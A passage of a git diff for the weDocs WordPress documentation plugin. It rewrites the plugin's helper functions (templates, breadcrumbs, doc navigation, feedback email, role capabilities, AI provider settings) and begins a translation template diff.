$_SERVER['HTTP_X_FORWARDED']; - } elseif ( isset( $_SERVER['HTTP_FORWARDED_FOR'] ) ) { - $ipaddress = $_SERVER['HTTP_FORWARDED_FOR']; - } elseif ( isset( $_SERVER['HTTP_FORWARDED'] ) ) { - $ipaddress = $_SERVER['HTTP_FORWARDED']; - } elseif ( isset( $_SERVER['REMOTE_ADDR'] ) ) { - $ipaddress = $_SERVER['REMOTE_ADDR']; - } else { - $ipaddress = 'UNKNOWN'; - } - - return $ipaddress; -} - -/** - * Send email feedback on a document. - * - * @param int $doc_id - * @param string $author - * @param string $email - * @param string $subject - * @param string $message - * - * @since 1.2 - * - * @return void - */ -function wedocs_doc_feedback_email( $doc_id, $author, $email, $subject, $message ) { - $wp_email = 'wordpress@' . preg_replace( '#^www\.#', '', strtolower( $_SERVER['SERVER_NAME'] ) ); - $blogname = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ); - $document = get_post( $doc_id ); - - // Collect feedback sending email address & prepare body. - $email_to = wedocs_get_general_settings( 'email_to', get_option( 'admin_email' ) ); - $subject = sprintf( __( '[%1$s] New Doc Feedback: "%2$s"', 'wedocs' ), $blogname, $subject ); - - $email_body = sprintf( __( 'New feedback on your doc "%s"', 'wedocs' ), apply_filters( 'wedocs_translate_text', $document->post_title ) ) . "\r\n"; - $email_body .= sprintf( __( 'Author: %1$s (IP: %2$s)', 'wedocs' ), $author, wedocs_get_ip_address() ) . "\r\n"; - $email_body .= sprintf( __( 'Email: %s', 'wedocs' ), $email ) . "\r\n"; - $email_body .= sprintf( __( 'Feedback: %s', 'wedocs' ), "\r\n" . $message ) . "\r\n\r\n"; - $email_body .= sprintf( __( 'Doc Permalink: %s', 'wedocs' ), get_permalink( $document ) ) . "\r\n"; - $email_body .= sprintf( __( 'Edit Doc: %s', 'wedocs' ), admin_url( 'post.php?action=edit&post=' . $doc_id ) ) . "\r\n"; - - $from = "From: $author <$wp_email>"; - $reply_to = "Reply-To: $email <$email>"; - - $message_headers = "$from\n" - . 'Content-Type: text/plain; charset ="' . get_option( 'blog_charset' ) . "\"\n"; - $message_headers .= $reply_to . "\n"; - - $email_to = apply_filters( 'wedocs_email_feedback_to', $email_to, $doc_id, $document ); - $subject = apply_filters( 'wedocs_email_feedback_subject', $subject, $doc_id, $document, $_POST ); - $email_body = apply_filters( 'wedocs_email_feedback_body', $email_body, $doc_id, $document, $_POST ); - $message_headers = apply_filters( 'wedocs_email_feedback_headers', $message_headers, $doc_id, $document, $_POST ); - - @wp_mail( $email_to, wp_specialchars_decode( $subject ), $email_body, $message_headers ); -} - -/** - * Get the publishing capability for weDocs admin. - * - * @since 1.3 - * - * @return string - */ -function wedocs_get_publish_cap() { - return apply_filters( 'wedocs_publish_cap', 'manage_categories' ); -} - -if ( ! function_exists( 'wedocs_template_wrapper_start' ) ) { - - /** - * Template start wrapper. - * - * @since 1.4 - * - * @return void - */ - function wedocs_template_wrapper_start() { - echo '
    '; - echo '
    '; - } -} - -if ( !function_exists( 'wedocs_template_wrapper_end' ) ) { - - /** - * Template end wrapper. - * - * @since 1.4 - * - * @return void - */ - function wedocs_template_wrapper_end() { - echo '
    '; - echo '
    '; - } -} - -add_action( 'wedocs_before_main_content', 'wedocs_template_wrapper_start', 10 ); -add_action( 'wedocs_after_main_content', 'wedocs_template_wrapper_end', 10 ); - -/** - * Sidebar open/closed status css classes. - * - * @param array $css_class - * @param WP_Post $page - * @param int $depth - * @param array $args - * @param int $current_page - * - * @return array - */ -function wedocs_sidebar_page_status_class( $css_class, $page, $depth, $args, $current_page ) { - if ( 'docs' != $page->post_type ) { - return $css_class; - } - - if ( 0 == $depth ) { - if ( in_array( 'current_page_item', $css_class ) ) { - $css_class[] = 'wd-state-open'; - } else { - $css_class[] = 'wd-state-closed'; - } - } - - return $css_class; -} - -add_filter( 'page_css_class', 'wedocs_sidebar_page_status_class', 20, 5 ); - -/** - * Add weDocs documentation handling capabilities for users. - * - * @since 1.0.0 - * - * @return void - */ -function wedocs_user_documentation_handling_capabilities() { - global $wp_roles; - - if ( class_exists( 'WP_Roles' ) && ! isset( $wp_roles ) ) { - $wp_roles = new \WP_Roles(); // @codingStandardsIgnoreLine - } - - $permitted_roles = array( 'administrator', 'editor' ); - $all_roles = $wp_roles->get_names(); - $capabilities = array( 'edit_docs', 'publish_docs', 'edit_others_docs', 'read_private_docs', 'edit_private_docs', 'edit_published_docs' ); - - // First, remove capabilities from unauthorized roles (cleanup for existing installations) - foreach ( $capabilities as $capability ) { - foreach ( array_keys( $all_roles ) as $role_key ) { - $role = $wp_roles->get_role( $role_key ); - if ( $role && $role->has_cap( $capability ) && ! in_array( $role_key, $permitted_roles, true ) ) { - $wp_roles->remove_cap( $role_key, $capability ); - } - } - } - - // Push documentation handling access ONLY to permitted roles. - foreach ( $capabilities as $capability ) { - foreach ( $permitted_roles as $role_key ) { - if ( $wp_roles->is_role( $role_key ) ) { - $wp_roles->add_cap( $role_key, $capability ); - } - } - } -} - -/** - * Check premium version - * availability. - * - * @since 2.0.0 - * - * @return bool - */ -function wedocs_pro_exists() { - if ( ! class_exists( 'WeDocs_Pro' ) ) { - return false; - } - - // Check weDocs pro plugin domain availability. - $active_plugins = get_option( 'active_plugins' ); - foreach ( $active_plugins as $plugin ) { - $plugin_data = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin ); - $plugin_text_domain = ! empty( $plugin_data[ 'TextDomain' ] ) ? sanitize_key( $plugin_data[ 'TextDomain' ] ) : ''; - - if ( $plugin_text_domain === 'wedocs-pro' ) { - return true; - } - } - - return false; -} - -/** - * Collect active layout colors. - * - * @since 2.0.2 - * - * @return array - */ -function wedocs_get_search_modal_active_colors() { - return apply_filters( - 'wedocs_search_modal_active_colors', - array( - 'active_primary_color' => '#3B82F6', - 'active_shade_color' => '#D9EBFF', - 'active_font_color' => '#fff', - ) - ); -} - -/** - * Control displaying content length. - * - * @since 2.1.1 - * - * @param string $content - * @param int $max_content_number - * - * @return string - */ -function wedocs_apply_extracted_content( $content, $max_content_number ) { - // Control content length by substr. - return ( strlen( $content ) > $max_content_number ) ? substr( $content, 0, $max_content_number ) . '...' : $content; -} - -/** - * Convert UTC Time zone to EST timezone - * - * @param string $date_time - * @return string - */ -function wedocs_convert_utc_to_est() { - $current_time = new DateTime( 'now', new DateTimeZone( 'UTC' ) ); - $current_time->setTimezone( new DateTimeZone( 'EST' ) ); - - return $current_time->format( 'Y-m-d H:i:s T' ); -} - -/** - * Get AI provider configurations - * - * @since 2.1.15 - * - * @return array - */ -function wedocs_get_ai_provider_configs() { - $provider_configs = [ - 'openai' => [ - 'name' => 'OpenAI', - 'endpoint' => 'https://api.openai.com/v1/chat/completions', - 'models' => [ - 'gpt-4o' => 'GPT-4o - Most Capable Multimodal', - 'gpt-4o-mini' => 'GPT-4o Mini - Efficient & Fast', - 'gpt-4-turbo' => 'GPT-4 Turbo - High Performance', - 'gpt-4' => 'GPT-4 - Advanced Reasoning', - 'gpt-3.5-turbo' => 'GPT-3.5 Turbo - Fast & Affordable' - ], - 'requires_key' => true - ], - 'anthropic' => [ - 'name' => 'Anthropic Claude', - 'endpoint' => 'https://api.anthropic.com/v1/messages', - 'models' => [ - 'claude-4.1-opus' => 'Claude 4.1 Opus - Most Capable', - 'claude-4-opus' => 'Claude 4 Opus - Best Coding Model', - 'claude-4-sonnet' => 'Claude 4 Sonnet - Advanced Reasoning', - 'claude-3.7-sonnet' => 'Claude 3.7 Sonnet - Hybrid Reasoning', - 'claude-3-5-sonnet-20241022' => 'Claude 3.5 Sonnet Latest', - 'claude-3-5-sonnet-20240620' => 'Claude 3.5 Sonnet', - 'claude-3-5-haiku-20241022' => 'Claude 3.5 Haiku', - 'claude-3-opus-20240229' => 'Claude 3 Opus', - 'claude-3-sonnet-20240229' => 'Claude 3 Sonnet', - 'claude-3-haiku-20240307' => 'Claude 3 Haiku' - ], - 'requires_key' => true - ], - 'google' => [ - 'name' => 'Google Gemini', - 'endpoint' => 'https://generativelanguage.googleapis.com/v1beta/models/{model}:generateContent', - 'models' => [ - 'gemini-2.0-flash-exp' => 'Gemini 2.0 Flash Experimental - Latest', - 'gemini-2.0-flash' => 'Gemini 2.0 Flash - Stable', - 'gemini-2.0-flash-001' => 'Gemini 2.0 Flash 001 - Stable Version', - 'gemini-2.0-flash-lite-001' => 'Gemini 2.0 Flash-Lite 001 - Lightweight', - 'gemini-2.0-flash-lite' => 'Gemini 2.0 Flash-Lite - Lightweight', - 'gemini-2.5-flash' => 'Gemini 2.5 Flash - Latest Stable', - 'gemini-2.5-pro' => 'Gemini 2.5 Pro - Most Capable', - 'gemini-2.5-flash-lite' => 'Gemini 2.5 Flash-Lite - Efficient', - 'gemini-flash-latest' => 'Gemini Flash Latest - Auto-Updated', - 'gemini-pro-latest' => 'Gemini Pro Latest - Auto-Updated' - ], - 'requires_key' => true - ] - ]; - - return apply_filters( 'wedocs_ai_provider_configs', $provider_configs ); -} - -function wedocs_is_pro_active() { - return defined( 'WEDOCS_PRO_VERSION' ); -} + false, + ); + + $args = wp_parse_args( $args, $defaults ); + if ( $args && is_array( $args ) ) { + extract( $args ); // phpcs:ignore + } + + $wedocs = ! empty( $args['pro'] ) && true === $args['pro'] ? WeDocs_Pro::init() : WeDocs::init(); + $template = ''; + + // Look in yourtheme/wedocs/slug-name.php and yourtheme/wedocs/slug.php. + $template_path = ! empty( $name ) ? "{$slug}-{$name}.php" : "{$slug}.php"; + $template = locate_template( [ $wedocs->theme_dir_path() . $template_path ] ); + + $template_path = apply_filters( 'wedocs_set_template_path', $wedocs->plugin_path() . '/templates', $template, $args ); + + // Get default slug-name.php. + if ( ! $template && $name && file_exists( $template_path . "/{$slug}-{$name}.php" ) ) { + $template = $template_path . "/{$slug}-{$name}.php"; + } + + if ( ! $template && ! $name && file_exists( $template_path . "/{$slug}.php" ) ) { + $template = $template_path . "/{$slug}.php"; + } + + // Allow 3rd party plugin filter template file from their plugin + $template = apply_filters( 'wedocs_get_template_part', $template, $slug, $name ); + + if ( $template ) { + include $template; + } +} + +/** + * Include a template by precedance. + * + * Looks at the theme directory first + * + * @param string $template_name + * @param array $args + * + * @return void + */ +function wedocs_get_template( $template_name, $args = [] ) { + $wedocs = ! empty( $args['pro'] ) && true === $args['pro'] ? WeDocs_Pro::init() :WeDocs::init(); + + if ( $args && is_array( $args ) ) { + extract( $args ); + } + + $template = locate_template( [ + $wedocs->theme_dir_path . $template_name, + $template_name, + ] ); + + if ( !$template ) { + $template = $wedocs->template_path() . $template_name; + } + + if ( file_exists( $template ) ) { + include $template; + } +} + +/** + * Control display content length. + * + * @since 2.0.0 + * + * @param string $content + * @param int $max_content_number + * + * @return string + */ +function wedocs_apply_short_content( $content, $max_content_number ) { + // Control content length by substr. + return ( strlen( $content ) > $max_content_number ) ? mb_substr( $content, 0, $max_content_number ) . '...' : $content; +} + +if ( !function_exists( 'wedocs_breadcrumbs' ) ) { + + /** + * Docs breadcrumb. + * + * @return void + */ + function wedocs_breadcrumbs() { + global $post; + + $html = ''; + $args = apply_filters( 'wedocs_breadcrumbs', [ + 'delimiter' => '
  • ', + 'home' => __( 'Home', 'wedocs' ), + 'before' => '
  • ', + 'after' => '
  • ', + ] ); + + $breadcrumb_position = 1; + + $html .= '
      '; + $html .= '
    1. '; + $html .= wedocs_get_breadcrumb_item( $args['home'], home_url( '/' ), $breadcrumb_position ); + $html .= $args['delimiter']; + + // Collect documentation home page settings. + $docs_home = wedocs_get_general_settings( 'docs_home' ); + + if ( $docs_home ) { + ++$breadcrumb_position; + + $html .= wedocs_get_breadcrumb_item( __( 'Docs', 'wedocs' ), get_permalink( $docs_home ), $breadcrumb_position ); + $html .= $args['delimiter']; + } + + if ( 'docs' == $post->post_type && $post->post_parent ) { + $parent_id = $post->post_parent; + $breadcrumbs = []; + + while ( $parent_id ) { + ++$breadcrumb_position; + + $page = get_post( $parent_id ); + $breadcrumbs[] = wedocs_get_breadcrumb_item( get_the_title( $page->ID ), get_permalink( $page->ID ), $breadcrumb_position ); + $parent_id = $page->post_parent; + } + + $breadcrumbs = array_reverse( $breadcrumbs ); + + for ( $i = 0; $i < count( $breadcrumbs ); ++$i ) { + $html .= $breadcrumbs[$i]; + $html .= ' ' . $args['delimiter'] . ' '; + } + } + + $html .= ' ' . $args['before'] . get_the_title() . $args['after']; + + $html .= '
    '; + + echo apply_filters( 'wedocs_breadcrumbs_html', $html, $args ); + } +} + +if ( !function_exists( 'wedocs_get_breadcrumb_item' ) ) { + + /** + * Schema.org breadcrumb item wrapper for a link. + * + * @param string $label + * @param string $permalink + * @param int $position + * + * @return string + */ + function wedocs_get_breadcrumb_item( $label, $permalink, $position = 1 ) { + $breadcrumb_label = wedocs_apply_short_content( $label, 25 ); + + return apply_filters( + 'wedocs_breadcrumbs_items', + '
  • + + ' . esc_html( $breadcrumb_label ) . ' + +
  • ' + ); + } +} + +/** + * Next, previous post navigation for a single doc. + * + * @return void + */ +function wedocs_doc_nav() { + global $post, $wpdb; + + $next_query = "SELECT ID FROM {$wpdb->posts} + WHERE post_parent = {$post->post_parent} and post_type = 'docs' and post_status = 'publish' and menu_order > {$post->menu_order} + ORDER BY menu_order ASC + LIMIT 0, 1"; + + $prev_query = "SELECT ID FROM {$wpdb->posts} + WHERE post_parent = {$post->post_parent} and post_type = 'docs' and post_status = 'publish' and menu_order < {$post->menu_order} + ORDER BY menu_order DESC + LIMIT 0, 1"; + + $next_post_id = (int) $wpdb->get_var( $next_query ); + $prev_post_id = (int) $wpdb->get_var( $prev_query ); + + if ( $next_post_id || $prev_post_id ) { + echo ''; + } +} + +if ( !function_exists( 'wedocs_get_posts_children' ) ) { + + /** + * Recursively fetch child posts. + * + * @param int $parent_id + * @param string $post_type + * + * @return array + */ + function wedocs_get_posts_children( $parent_id, $post_type = 'page', $custom_args = array() ) { + $children = array(); + + $default = array( + 'numberposts' => -1, + 'post_status' => 'publish', + 'post_type' => $post_type, + 'post_parent' => $parent_id, + 'suppress_filters' => false, + ); + + // Parse posts arguments. + $args = wp_parse_args( $custom_args, $default ); + + // grab the posts children + $posts = get_posts( $args ); + + // now grab the grand children + foreach ( $posts as $child ) { + // recursion!! hurrah + $gchildren = wedocs_get_posts_children( $child->ID, $post_type ); + + // merge the grand children into the children array + if ( !empty( $gchildren ) ) { + $children = array_merge( $children, $gchildren ); + } + } + + // merge in the direct descendants we found earlier + $children = array_merge( $children, $posts ); + + return $children; + } +} + +/** + * Retrieve the tags for a doc formatted as a string. + * + * @param string $before Optional. Before tags. + * @param string $sep Optional. Between tags. + * @param string $after Optional. After tags. + * @param int $id Optional. Post ID. Defaults to the current post. + * + * @return string|false|WP_Error a list of tags on success, false if there are no terms, WP_Error on failure + */ +function wedocs_get_the_doc_tags( $post_id, $before = '', $sep = '', $after = '' ) { + return get_the_term_list( $post_id, 'doc_tag', $before, $sep, $after ); +} + +// Check if QTranslate plugin is active before function declaration +$is_qtranslate = wedocs_is_plugin_active( 'qtranslate-x/qtranslate.php' ); + +if ( $is_qtranslate ) { + /** + * Translate dynamic text with QTranslate X plugin. + * + * @param string $text the multilingual text + * + * @return string the translated text + */ + function wedocs_translate_text_with_qtranslate( $text ) { + return apply_filters( 'translate_text', $text ); + } + + add_filter( 'wedocs_translate_text', 'wedocs_translate_text_with_qtranslate', 10, 1 ); +} + +/** + * Check if a plugin is active. + * + * @param string $plugin_path_and_name the plugin relative path and filename of the plugin main file + * + * @return bool whether the plugin is active or not + */ +function wedocs_is_plugin_active( $plugin_path_and_name ) { + if ( ! function_exists( 'is_plugin_active' ) ) { + include_once ABSPATH . 'wp-admin/includes/plugin.php'; + } + + return is_plugin_active( $plugin_path_and_name ); +} + +/** + * Get the value of a settings field. + * + * @param string $option settings field name + * @param string $section the section name this field belongs to + * @param string $default default text if it's not found + * + * @return mixed + */ +function wedocs_get_option( $option, $section, $default = '' ) { + $options = get_option( $section ); + + if ( isset( $options[ $option ] ) ) { + return $options[ $option ]; + } + + return $default; +} + +/** + * Get the value of general settings. + * + * @since 2.0.0 + * + * @param string $field_name general settings field name. + * @param string $default default data if settings not found. + * + * @return mixed + */ +function wedocs_get_general_settings( $field_name = '', $default = '' ) { + $general_settings = wedocs_get_option( 'general', 'wedocs_settings', [] ); + + if ( ! empty( $field_name ) ) { + $wedocs_field_data = wedocs_get_option( $field_name, 'wedocs_settings', $default ); + + // Check from general settings if not found then collect data from wedocs_settings. + return ! empty( $general_settings[ $field_name ] ) ? $general_settings[ $field_name ] : $wedocs_field_data; + } + + return $general_settings; +} + +/** + * Get a clients IP address. + * + * @return string + */ +function wedocs_get_ip_address() { + $ipaddress = ''; + + if ( isset( $_SERVER['HTTP_CLIENT_IP'] ) ) { + $ipaddress = $_SERVER['HTTP_CLIENT_IP']; + } elseif ( isset( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) { + $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR']; + } elseif ( isset( $_SERVER['HTTP_X_FORWARDED'] ) ) { + $ipaddress = $_SERVER['HTTP_X_FORWARDED']; + } elseif ( isset( $_SERVER['HTTP_FORWARDED_FOR'] ) ) { + $ipaddress = $_SERVER['HTTP_FORWARDED_FOR']; + } elseif ( isset( $_SERVER['HTTP_FORWARDED'] ) ) { + $ipaddress = $_SERVER['HTTP_FORWARDED']; + } elseif ( isset( $_SERVER['REMOTE_ADDR'] ) ) { + $ipaddress = $_SERVER['REMOTE_ADDR']; + } else { + $ipaddress = 'UNKNOWN'; + } + + return $ipaddress; +} + +/** + * Send email feedback on a document. + * + * @param int $doc_id + * @param string $author + * @param string $email + * @param string $subject + * @param string $message + * + * @since 1.2 + * + * @return void + */ +function wedocs_doc_feedback_email( $doc_id, $author, $email, $subject, $message ) { + $wp_email = 'wordpress@' . preg_replace( '#^www\.#', '', strtolower( $_SERVER['SERVER_NAME'] ) ); + $blogname = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ); + $document = get_post( $doc_id ); + + // Collect feedback sending email address & prepare body. + $email_to = wedocs_get_general_settings( 'email_to', get_option( 'admin_email' ) ); + $subject = sprintf( __( '[%1$s] New Doc Feedback: "%2$s"', 'wedocs' ), $blogname, $subject ); + + $email_body = sprintf( __( 'New feedback on your doc "%s"', 'wedocs' ), apply_filters( 'wedocs_translate_text', $document->post_title ) ) . "\r\n"; + $email_body .= sprintf( __( 'Author: %1$s (IP: %2$s)', 'wedocs' ), $author, wedocs_get_ip_address() ) . "\r\n"; + $email_body .= sprintf( __( 'Email: %s', 'wedocs' ), $email ) . "\r\n"; + $email_body .= sprintf( __( 'Feedback: %s', 'wedocs' ), "\r\n" . $message ) . "\r\n\r\n"; + $email_body .= sprintf( __( 'Doc Permalink: %s', 'wedocs' ), get_permalink( $document ) ) . "\r\n"; + $email_body .= sprintf( __( 'Edit Doc: %s', 'wedocs' ), admin_url( 'post.php?action=edit&post=' . $doc_id ) ) . "\r\n"; + + $from = "From: $author <$wp_email>"; + $reply_to = "Reply-To: $email <$email>"; + + $message_headers = "$from\n" + . 'Content-Type: text/plain; charset ="' . get_option( 'blog_charset' ) . "\"\n"; + $message_headers .= $reply_to . "\n"; + + $email_to = apply_filters( 'wedocs_email_feedback_to', $email_to, $doc_id, $document ); + $subject = apply_filters( 'wedocs_email_feedback_subject', $subject, $doc_id, $document, $_POST ); + $email_body = apply_filters( 'wedocs_email_feedback_body', $email_body, $doc_id, $document, $_POST ); + $message_headers = apply_filters( 'wedocs_email_feedback_headers', $message_headers, $doc_id, $document, $_POST ); + + @wp_mail( $email_to, wp_specialchars_decode( $subject ), $email_body, $message_headers ); +} + +/** + * Get the publishing capability for weDocs admin. + * + * @since 1.3 + * + * @return string + */ +function wedocs_get_publish_cap() { + return apply_filters( 'wedocs_publish_cap', 'manage_categories' ); +} + +if ( ! function_exists( 'wedocs_template_wrapper_start' ) ) { + + /** + * Template start wrapper. + * + * @since 1.4 + * + * @return void + */ + function wedocs_template_wrapper_start() { + echo '
    '; + echo '
    '; + } +} + +if ( !function_exists( 'wedocs_template_wrapper_end' ) ) { + + /** + * Template end wrapper. + * + * @since 1.4 + * + * @return void + */ + function wedocs_template_wrapper_end() { + echo '
    '; + echo '
    '; + } +} + +add_action( 'wedocs_before_main_content', 'wedocs_template_wrapper_start', 10 ); +add_action( 'wedocs_after_main_content', 'wedocs_template_wrapper_end', 10 ); + +/** + * Sidebar open/closed status css classes. + * + * @param array $css_class + * @param WP_Post $page + * @param int $depth + * @param array $args + * @param int $current_page + * + * @return array + */ +function wedocs_sidebar_page_status_class( $css_class, $page, $depth, $args, $current_page ) { + if ( 'docs' != $page->post_type ) { + return $css_class; + } + + if ( 0 == $depth ) { + if ( in_array( 'current_page_item', $css_class ) ) { + $css_class[] = 'wd-state-open'; + } else { + $css_class[] = 'wd-state-closed'; + } + } + + return $css_class; +} + +add_filter( 'page_css_class', 'wedocs_sidebar_page_status_class', 20, 5 ); + +/** + * Add weDocs documentation handling capabilities for users. + * + * @since 1.0.0 + * + * @return void + */ +function wedocs_user_documentation_handling_capabilities() { + global $wp_roles; + + if ( class_exists( 'WP_Roles' ) && ! isset( $wp_roles ) ) { + $wp_roles = new \WP_Roles(); // @codingStandardsIgnoreLine + } + + $permitted_roles = array( 'administrator', 'editor' ); + $all_roles = $wp_roles->get_names(); + $capabilities = array( 'edit_docs', 'publish_docs', 'edit_others_docs', 'read_private_docs', 'edit_private_docs', 'edit_published_docs' ); + + // First, remove capabilities from unauthorized roles (cleanup for existing installations) + foreach ( $capabilities as $capability ) { + foreach ( array_keys( $all_roles ) as $role_key ) { + $role = $wp_roles->get_role( $role_key ); + if ( $role && $role->has_cap( $capability ) && ! in_array( $role_key, $permitted_roles, true ) ) { + $wp_roles->remove_cap( $role_key, $capability ); + } + } + } + + // Push documentation handling access ONLY to permitted roles. + foreach ( $capabilities as $capability ) { + foreach ( $permitted_roles as $role_key ) { + if ( $wp_roles->is_role( $role_key ) ) { + $wp_roles->add_cap( $role_key, $capability ); + } + } + } +} + +/** + * Check premium version + * availability. + * + * @since 2.0.0 + * + * @return bool + */ +function wedocs_pro_exists() { + if ( ! class_exists( 'WeDocs_Pro' ) ) { + return false; + } + + // Check weDocs pro plugin domain availability. + $active_plugins = get_option( 'active_plugins' ); + foreach ( $active_plugins as $plugin ) { + $plugin_data = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin ); + $plugin_text_domain = ! empty( $plugin_data[ 'TextDomain' ] ) ? sanitize_key( $plugin_data[ 'TextDomain' ] ) : ''; + + if ( $plugin_text_domain === 'wedocs-pro' ) { + return true; + } + } + + return false; +} + +/** + * Collect active layout colors. + * + * @since 2.0.2 + * + * @return array + */ +function wedocs_get_search_modal_active_colors() { + return apply_filters( + 'wedocs_search_modal_active_colors', + array( + 'active_primary_color' => '#3B82F6', + 'active_shade_color' => '#D9EBFF', + 'active_font_color' => '#fff', + ) + ); +} + +/** + * Control displaying content length. + * + * @since 2.1.1 + * + * @param string $content + * @param int $max_content_number + * + * @return string + */ +function wedocs_apply_extracted_content( $content, $max_content_number ) { + // Control content length by substr. + return ( strlen( $content ) > $max_content_number ) ? substr( $content, 0, $max_content_number ) . '...' : $content; +} + +/** + * Convert UTC Time zone to EST timezone + * + * @param string $date_time + * @return string + */ +function wedocs_convert_utc_to_est() { + $current_time = new DateTime( 'now', new DateTimeZone( 'UTC' ) ); + $current_time->setTimezone( new DateTimeZone( 'EST' ) ); + + return $current_time->format( 'Y-m-d H:i:s T' ); +} + +/** + * Get AI provider configurations + * + * @since 2.1.15 + * + * @return array + */ +function wedocs_get_ai_provider_configs() { + $provider_configs = [ + 'openai' => [ + 'name' => 'OpenAI', + 'endpoint' => 'https://api.openai.com/v1/chat/completions', + 'models' => [ + 'gpt-4o' => 'GPT-4o - Most Capable Multimodal', + 'gpt-4o-mini' => 'GPT-4o Mini - Efficient & Fast', + 'gpt-4-turbo' => 'GPT-4 Turbo - High Performance', + 'gpt-4' => 'GPT-4 - Advanced Reasoning', + 'gpt-3.5-turbo' => 'GPT-3.5 Turbo - Fast & Affordable' + ], + 'requires_key' => true + ], + 'anthropic' => [ + 'name' => 'Anthropic Claude', + 'endpoint' => 'https://api.anthropic.com/v1/messages', + 'models' => [ + 'claude-4.1-opus' => 'Claude 4.1 Opus - Most Capable', + 'claude-4-opus' => 'Claude 4 Opus - Best Coding Model', + 'claude-4-sonnet' => 'Claude 4 Sonnet - Advanced Reasoning', + 'claude-3.7-sonnet' => 'Claude 3.7 Sonnet - Hybrid Reasoning', + 'claude-3-5-sonnet-20241022' => 'Claude 3.5 Sonnet Latest', + 'claude-3-5-sonnet-20240620' => 'Claude 3.5 Sonnet', + 'claude-3-5-haiku-20241022' => 'Claude 3.5 Haiku', + 'claude-3-opus-20240229' => 'Claude 3 Opus', + 'claude-3-sonnet-20240229' => 'Claude 3 Sonnet', + 'claude-3-haiku-20240307' => 'Claude 3 Haiku' + ], + 'requires_key' => true + ], + 'google' => [ + 'name' => 'Google Gemini', + 'endpoint' => 'https://generativelanguage.googleapis.com/v1beta/models/{model}:generateContent', + 'models' => [ + 'gemini-2.0-flash-exp' => 'Gemini 2.0 Flash Experimental - Latest', + 'gemini-2.0-flash' => 'Gemini 2.0 Flash - Stable', + 'gemini-2.0-flash-001' => 'Gemini 2.0 Flash 001 - Stable Version', + 'gemini-2.0-flash-lite-001' => 'Gemini 2.0 Flash-Lite 001 - Lightweight', + 'gemini-2.0-flash-lite' => 'Gemini 2.0 Flash-Lite - Lightweight', + 'gemini-2.5-flash' => 'Gemini 2.5 Flash - Latest Stable', + 'gemini-2.5-pro' => 'Gemini 2.5 Pro - Most Capable', + 'gemini-2.5-flash-lite' => 'Gemini 2.5 Flash-Lite - Efficient', + 'gemini-flash-latest' => 'Gemini Flash Latest - Auto-Updated', + 'gemini-pro-latest' => 'Gemini Pro Latest - Auto-Updated' + ], + 'requires_key' => true + ] + ]; + + return apply_filters( 'wedocs_ai_provider_configs', $provider_configs ); +} + +function wedocs_is_pro_active() { + return defined( 'WEDOCS_PRO_VERSION' ); +} diff --git a/languages/wedocs.pot b/languages/wedocs.pot index 5f411149..50e25bbf 100644 --- a/languages/wedocs.pot +++ b/languages/wedocs.pot @@ -1,3193 +1,3193 @@ -# Copyright (C) 2025 weDevs -# This file is distributed under the GPL2. -msgid "" -msgstr "" -"Project-Id-Version: weDocs 2.1.16\n" -"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/wedocs\n" -"Last-Translator: FULL NAME \n" -"Language-Team: LANGUAGE \n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"POT-Creation-Date: 2025-12-24T06:14:01+00:00\n" -"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" -"X-Generator: WP-CLI 2.11.0\n" -"X-Domain: wedocs\n" - -#. Plugin Name of the plugin -#: wedocs.php -#: includes/Admin/Menu.php:45 -#: includes/Admin/Menu.php:46 -msgid "weDocs" -msgstr "" - -#. Plugin URI of the plugin -#: wedocs.php -msgid "https://wedocs.co/" -msgstr "" - -#. Description of the plugin -#: wedocs.php -msgid "A documentation plugin for WordPress" -msgstr "" - -#. Author of the plugin -#: wedocs.php -msgid "weDevs" -msgstr "" - -#. Author URI of the plugin -#: wedocs.php -msgid "https://wedocs.co/?utm_source=wporg&utm_medium=banner&utm_campaign=author-uri" -msgstr "" - -#: assets/build/blocks/DocsGrid/render.php:60 -#: includes/Shortcode.php:48 -#: src/blocks/DocsGrid/render.php:60 -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/edit.js:78 -msgid "View Details" -msgstr "" - -#: assets/build/blocks/DocsGrid/render.php:301 -#: src/blocks/DocsGrid/render.php:301 -#: templates/shortcode.php:89 -#: assets/build/block.js:1 -#: src/blocks/DocsGrid/edit.js:164 -msgid "This document has no sections yet. Check back later or wait for the author to add content." -msgstr "" - -#: includes/Admin.php:91 -#: includes/Admin.php:112 -msgid "Upgrade to Pro" -msgstr "" - -#: includes/Admin.php:92 -#: includes/Admin.php:113 -msgid "Check Discount" -msgstr "" - -#: includes/Admin.php:93 -#: includes/Admin.php:115 -#: includes/Admin/Menu.php:72 -#: includes/functions.php:127 -msgid "Docs" -msgstr "" - -#: includes/Admin.php:94 -#: includes/Admin.php:116 -msgid "Get Support" -msgstr "" - -#: includes/Admin/Admin.php:102 -msgid "Thank you for using weDocs. Please leave us a %s★★★★★%s rating." -msgstr "" - -#: includes/Admin/Admin.php:102 -msgid "Thanks :)" -msgstr "" - -#: includes/Admin/Admin.php:113 -msgid "Thank you for using weDocs." -msgstr "" - -#: includes/Admin/Admin.php:116 -msgid "Use the classic UI." -msgstr "" - -#: includes/Admin/Docs_List_Table.php:27 -msgid "Helpfulness" -msgstr "" - -#: includes/Admin/Docs_List_Table.php:67 -msgid "Votes" -msgstr "" - -#: includes/Admin/Menu.php:77 -#: includes/Post_Types.php:88 -msgid "Tags" -msgstr "" - -#: includes/Admin/Menu.php:82 -msgid "Settings" -msgstr "" - -#: includes/Admin/Menu.php:87 -msgid "Migration" -msgstr "" - -#: includes/Admin/Migrate.php:61 -msgid "BetterDocs not exists." -msgstr "" - -#: includes/Admin/Migrate.php:71 -#: includes/Admin/Migrate.php:81 -msgid "Migration done." -msgstr "" - -#: includes/Admin/Migrate.php:89 -msgid "Migration not available at this moment." -msgstr "" - -#: includes/Admin/Migrate.php:184 -#: assets/build/index.js:7 -#: src/components/Migrations/Modals/MigrationContentMappingModal.js:11 -msgid "Untitled Docs" -msgstr "" - -#: includes/Admin/Promotion.php:98 -msgid "Dismiss this notice." -msgstr "" - -#: includes/Admin/Promotion.php:167 -#: includes/Admin/Promotion.php:171 